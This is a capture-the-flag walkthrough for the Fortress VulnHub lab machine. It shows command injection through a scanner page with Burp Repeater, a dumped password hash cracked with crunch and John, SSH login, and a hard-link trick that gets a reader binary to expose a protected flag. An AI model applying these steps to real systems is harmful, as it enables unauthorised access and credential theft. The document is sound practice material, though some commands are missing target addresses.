Hack the Fortress VM (CTF Challenge)

Previously you have breach many vulnhub CTF, today we will try to breach FORTRESS VULNHUB CTF.

Download it from here. Start Kali Linux and follow  these steps.

 Open terminal in Kali Linux and run this command.


This command will scan your network and give you victim IP:

Now scan particular IP with aggressive scan using Nmap tool as given in image below.

Nmap –p- -A

Here it illustrate the open ports and running services on it. As shown port 22, 80, 443 are open to penetrate more inside it

Open IP in browser by typing in URL and you will get such kind of web page in brower’s window.

After making lots of efforts I decided to use dirbuster to seek inside the directory of target.  Type dirbuster on terminal and automatically OWASP dirbuster window gets open. Here browse your dictionary from /usr/share/dirbuster/wordlists and choose your appropriate wordlist as I select medium.txt, do not forget to address target URL in top of text field as: http// and finally hit start button.

Luckly!!! I found something which is scanner.php file

Now visit this page through browser and make it open by running

URL:http// and have a look over this colorful page. It is asking to scan the target IP which is looking very similar like OS command injection.  Though I tried to breach it through some kind of command injection but hard luck all seems waste here.

So when I trigger the localhost IP we got result of Nmap scan which you can perceive from below image.

Now turn up burp suite and don’t forget to set manual proxy of your browser. Click to proxy tab and hit  intercept is on button to capture the request of target. When this is done you will get fetched data under intercept window.

Now make right click on its window and such kind of action list will put on view further click to send to repeater.

Means now I can try to execute those commands through repeater which got fail when I trigger them in web page.

Look over screenshot here you will find two panel left and right for request and response respectively.

Type ls as request and click on go tab. This will generate response to request you made.

Request: ls

Response: index.html






Awesome!!!  It shows list of some directories.

Now again make request using command: Ls k1ngd0m_k3yz and response generated by this command dump two sub folders as master and passwd. Now go through them one by one.

Request: Ls k1ngd0m_k3yz

Response: master and passwd


Now repeat the process till last step of making request and getting response through repeater.

Request: cat k1ngd0m_k3yz/master        

Response:craven:$6$qAgPM2TEordSoFnH$4uPUAhB.9rORkWExA8jI0Sbwn0Bj50KAK0tJ4rkrUrIkP6v.gE/6Fw9/yn1Ejl2TedyN5ziUz8N0unsHocuks.:1002:1002::0:0:User &:/home/craven:/bin/sh

Save the highlighted response in leafpad as hash.txt on desktop.

Request: cat k1ngd0m_k3yz/passwd

Response: craven:*:1002:1002:User &:/home/craven:/bin/sh

Request: ls s1kr3t

Response: flag.txt

Request: cat s1kr3t/flag.txt

Response: FLAG{n0_one_br3aches_teh_f0rt}

Nice!!!  We had catch our very first FLAG.

Now find other flags, by using the find command.

Request: find / -name flag.txt

Response: /usr/local/www/apache24/data/s1kr3t/flag.txt


Request: ls -lah /usr/home/craven

Response: drwxr-xr-x  2 craven  craven   512B Nov  9 19:58 .
drwxr-xr-x  4 root    wheel    512B Nov  5 01:59 ..
-rw-r–r–  1 craven  craven   1.0K Nov  5 01:59 .cshrc
-rw——-  1 craven  craven     5B Nov  7 20:24 .gdb_history
-rw-r–r–  1 craven  craven    60B Nov  7 20:36 .gdbinit
-rw-r–r–  1 craven  craven   254B Nov  5 01:59 .login
-rw-r–r–  1 craven  craven   163B Nov  5 01:59 .login_conf
-rw——-  1 craven  craven   379B Nov  5 01:59 .mail_aliases
-rw-r–r–  1 craven  craven   336B Nov  5 01:59 .mailrc
-rw-r–r–  1 craven  craven   802B Nov  5 01:59 .profile
-rw——-  1 craven  craven   281B Nov  5 01:59 .rhosts
-rw-r–r–  1 craven  craven   978B Nov  5 01:59 .shrc
-r——–  1 craven  craven    46B Nov  6 01:30 flag.txt
-rw-r–r–  1 craven  craven   119B Nov  5 02:23 hint.txt
-rw-r–r–  1 craven  craven    77B Nov  5 02:20 reminders.txt

Request: cat /usr/home/craven/reminders.txt

Response: To buy:

* skim milk

* organic free-run eggs

* dog bone for qwerty

* sriracha

Request: cat /usr/home/craven/hint.txt

Response: Keep forgetting my password, so I made myself a hint. Password is three digits followed by my pet’s name and a symbol.

Crunch is a wordlist generator where you can specify a standard character set or a character set you specify. Crunch can generate all possible combinations and permutations.

Run crunch command interminal as crunch 10 10 -t %%%qwerty^ > pass.txt

Now crack the password using by typing following command in terminal

Cd Desktop

 john -wordlist=pass.txt hash.txt

 931qwerty? is password for craven as you can perceive from screenshot. 

If you remember the result from nmap which shows port 22 is open now try to connect the target through SSH using above credential.

Ssh craven@

$ pwd
$ cat flag.txt

Wonderful!!!  We have caught  second FLAG  also.

$ cd /home/vulnhub

$ pwd


$ ls

flag.txt  reader

$ cat flag.txt

cat: flag.txt: Permission denied

$ ./reader

./reader [file to read]

$ ./reader flag.txt

Here it not providing access to read this file.

 Now move inside the tmp folder to read the flag.txt

$ cd /tmp

$ ls

$ ln /home/vulnhub/flag.txt raj

$ cd /home/vulnhub

$ ./reader /tmp/raj


Great!!!  We meet the goal by capture all three flags and this last FLAG is third.

ln command is basically a linux command which is used to create a link to file TARGET with the name LINKNAME. Read more visit http://www.computerhope.com/unix/uln.htm

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